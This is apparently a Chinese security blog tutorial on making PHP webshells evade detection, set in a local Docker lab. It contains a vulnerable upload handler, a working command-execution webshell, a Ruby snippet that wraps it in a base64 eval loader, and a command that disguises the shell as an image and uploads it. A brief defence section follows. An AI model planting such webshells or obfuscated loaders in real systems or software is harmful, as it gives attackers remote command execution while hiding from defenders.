0x01 攻击板块

黑客示意图

在Web应用的世界里,Webshell是一种颇具威力的武器。它允许攻击者在受害者的服务器上执行各种恶意操作,如文件读取、命令执行等。然而,现代防护系统已经越来越健全,因此如何实现Webshell的免杀成为一个关键问题。在这篇文章中,我将带你深入探讨Webshell免杀技术的各种方法。

Webshell通常被植入到易受攻击的Web应用中。攻击者通过利用漏洞上传一个脚本文件,这个文件可以是PHP、ASP、JSP等各种类型,通过远程访问控制服务器。免杀技术旨在使Webshell躲避防护系统的检测,确保攻击者能够在目标系统上获得稳定的访问。

攻击载体的选择和环境搭建

为了深入实验Webshell免杀技术,我们首先需要一个受攻击的Web应用环境。推荐使用Docker来快速搭建实验环境,这样可以保证实验的隔离性和重现性。

实验环境搭建

<pre><code class="language-shell"># 使用Docker创建一个简单的PHP环境 docker pull php:7.4-apache docker run -d -p 8080:80 php:7.4-apache</code></pre>

这里我们选择PHP作为Webshell语言,因为它广泛应用于Web开发中,也是攻击者常用的载体。

Web应用漏洞分析

多数Web应用漏洞来自于不当的输入验证和文件上传机制。攻击者通常可以通过SQL注入、文件上传等方式上传Webshell。以下是一个PHP文件上传漏洞的示例:

<pre><code class="language-php">&lt;?php if(isset($_FILES[&#039;file&#039;])){ $file = $_FILES[&#039;file&#039;]; move_uploaded_file($file[&#039;tmp_name&#039;], &#039;uploads/&#039; . $file[&#039;name&#039;]); echo &#039;File uploaded successfully!&#039;; } ?&gt;</code></pre>

在这个上传功能中,未对文件类型进行验证,攻击者可以上传任意文件,包括Webshell。

隐匿于无形:Payload构造的艺术

免杀的关键在于Webshell的构造,我们需要将加载和执行过程隐藏得足够好,避免被检测。以下是一个常见的PHP Webshell的构造方法:

<pre><code class="language-php">&lt;?php // Webshell代码示例 if(isset($_GET[&#039;cmd&#039;])){ // 获取命令并执行 $cmd = $_GET[&#039;cmd&#039;]; system($cmd); } ?&gt;</code></pre>

Ruby辅助构造Shell

Ruby可以帮助我们生成多种变形Webshell,利用其强大的字符串处理能力,我们可以轻松生成变形的PHP代码:

黑客示意图

<pre><code class="language-ruby"># Ruby代码生成变形的Webshell shell_code = &quot;&lt;?php if(isset($_GET[&#039;cmd&#039;])){system($_GET[&#039;cmd&#039;]);} ?&gt;&quot; encoded_shell = Base64.encode64(shell_code) puts &quot;Encoded Shell: #{encoded_shell}&quot;

PHP载入变形的Webshell

obfuscated_shell = &quot;&lt;?php eval(base64_decode(&#039;#{encoded_shell}&#039;)); ?&gt;&quot;</code></pre>

通过这种方式,我们可以有效地混淆Webshell代码,使其难以被直接检测到。

躲避检测的秘密:免杀技巧大揭秘

加壳与混淆技术

加壳技术通过对Webshell代码进行加密或编码,使得普通的字符串检测难以识别。混淆则是通过将代码的结构复杂化,使得静态分析工具难以有效识别其功能。

<pre><code class="language-php">&lt;?php // 使用base64混淆Webshell代码 $data = &#039;PD9waHAgZWNobyAnSGVsbG8gd29ybGQnOw==&#039;; // Hello world的base64编码 eval(base64_decode($data)); ?&gt;</code></pre>

流量检测规避

流量伪装是免杀的一部分。攻击者可以利用HTTPS加密传输、随机化请求时间等方式,降低Webshell被流量检测工具识别的风险。

黑客示意图

文件属性伪装

通过修改上传文件的属性,如文件名、扩展名,甚至时间戳,攻击者可以减少被发现的概率。例如,将Webshell伪装为图片或其他常见文件格式:

<pre><code class="language-shell"># 将Webshell伪装为图片文件 mv shell.php shell.jpg

上传伪装后的文件

curl -F &quot;[email protected]&quot; http://localhost:8080/upload.php</code></pre>

反制措施与防御

虽然Webshell的免杀技术不断更新,但防御措施也在不断进化。防御者可以采取以下方法来检测和阻止Webshell:

系统加固与日志分析

  • 文件上传验证:严格的文件类型和大小验证,阻止恶意文件上传。
  • 实时监控:启用Web应用防火墙(WAF)监控异常流量和请求。
  • 日志分析:通过分析服务器日志,识别异常活动,如频繁的错误请求或不常见的访问模式。

主动防御策略

  • 代码审计:定期进行代码审计,查找潜在漏洞。
  • 入侵检测系统(IDS):部署入侵检测系统,实时监控网络和主机活动。

技术心得分享

在Webshell免杀领域,攻击者和防御者始终处于一个不断对抗的状态。攻击者需要不断创新,以躲避检测,而防御者需要不断提升技术,进行有效的识别和阻断。对于红队成员来说,利用Webshell进行攻击时需保持谨慎,避免过度依赖某一种技术,灵活运用多种方法才能达到最佳效果。

Webshell免杀是一个复杂且不断变化的领域,只有通过不断的学习和实践,才能在这场攻防战中保持领先。此文仅用于授权安全测试和研究,切勿用于非法目的。